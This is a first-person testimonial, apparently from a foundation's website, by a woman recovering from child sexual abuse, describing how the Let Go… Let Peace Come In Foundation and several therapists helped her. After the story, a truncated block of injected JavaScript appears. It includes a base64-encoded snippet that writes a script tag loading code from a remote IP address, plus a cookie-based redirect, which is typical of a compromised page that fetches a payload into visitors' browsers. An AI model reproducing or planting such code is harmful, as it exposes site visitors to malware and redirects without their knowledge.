Paige (Montgomery County, PA)

I am a survivor of child sexual abuse perpetrated by someone who was considered to be a close family friend.  When my family found out on the night it happened, some of them decided to still remain friends with the man who admitted to violating me, provided he would seek mental help for his perpetrations.  For years the effects of the abuse damaged not only my relationships with family members, but also created a lasting impression that adversely shaped my behavior toward and interactions with others. Thirty years later, one day my brother was in a business meeting with Peter S. Pelullo and they started talking about Pete’s foundation and his memoir depicting his own experience with child sexual abuse.  It was then that my brother mentioned to Pete that something similar happened to me as a child and that I was still struggling to find peace and recovery.

Graciously Pete offered to speak with me personally about what he and the foundation could do to help me begin my journey of healing.  After our initial conversation Pete suggested that I meet with Annie Fisher at the Starting Point in Westmont, New Jersey.  Since Annie’s office was some distance from my home, Pete even offered to drive me there himself.

On the day of my appointment I was distraught and didn’t want to go.  Starting therapy with a new clinician is scary in the best of circumstances, but my fears were compounded that day by torrential rains and storms that turned our ride into what would become an 10 hour adventure.  Through all of my pleas for Pete to turn back he remained a constant at my side and helped me get through that first appointment.

After meeting Annie I really liked her and it was clear to me that she genuinely understood where I had been, where I was at, and where I needed to go to move forward.  We worked together for several months and I was able to make some real progress with her help including reducing my dependence on prescribed medications that had put me into a fog.  Thanks to Annie I am now able to recognize my self-depreciating behaviors and I am beginning to repair relationships and reintroduce trust in places that I thought had been lost forever.  I am also learning the value of truthfulness in relationships and how in order to maintain trust everyone needs to be honest about their expectations and feelings.  Annie was also able to show me techniques that I can use to calm my nerves when I experience stressful situations.

Unfortunately I reached a point in my journey where I could no longer make the trip across state lines to visit Annie at her office.  At first she generously offered her services to me via a few phone appointments, but we both realized in order for me to be successful in my recovery journey I needed to speak to a therapist on a face to face basis because therapy is about healing as a whole individual, not just parts.  Annie spoke to Gretchen at the Let Go… Let Peace Come In Foundation on my behalf and together they worked to identify a qualified therapist who was closer to my home.

When Gretchen contacted me with the information about the new therapist I was anxious about having to tell my story to a “new” person, but Gretchen had already spoken to the potential therapist about my situation and she told me that Anna, the person she and Annie identified to help me, was very willing to speak with me over the phone before fixing an appointment.  When I spoke to Anna she was kind and understanding and so we agreed to meet for a first appointment.

On the day of my first appointment I was terrified and having a panic attack about going to meet with Anna and having to relive and re-tell her about the horrific things that had been done to me as a child.  I called Gretchen and she calmly took the time to talk to me about my anxiety and she put me at ease by letting me know that because I had given permission to both Annie and Anna previously they had actually already collaborated about my history and that I didn’t have to tell more of my story than I was comfortable with during the first appointment with Anna.

After that initial visit with Anna my fears began to subside.  I realized that thanks to a conversation my brother had on the golf course with Pete I was now connected with a wonderful group of caring people who were dedicated to helping me begin my journey to heal.  I am so grateful to have found the support provided by the Let Go… Let Peace Come In Foundation, Pete, Annie, Gretchen, and Anna as I continue on a path of recovery and move toward a peaceful existence. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘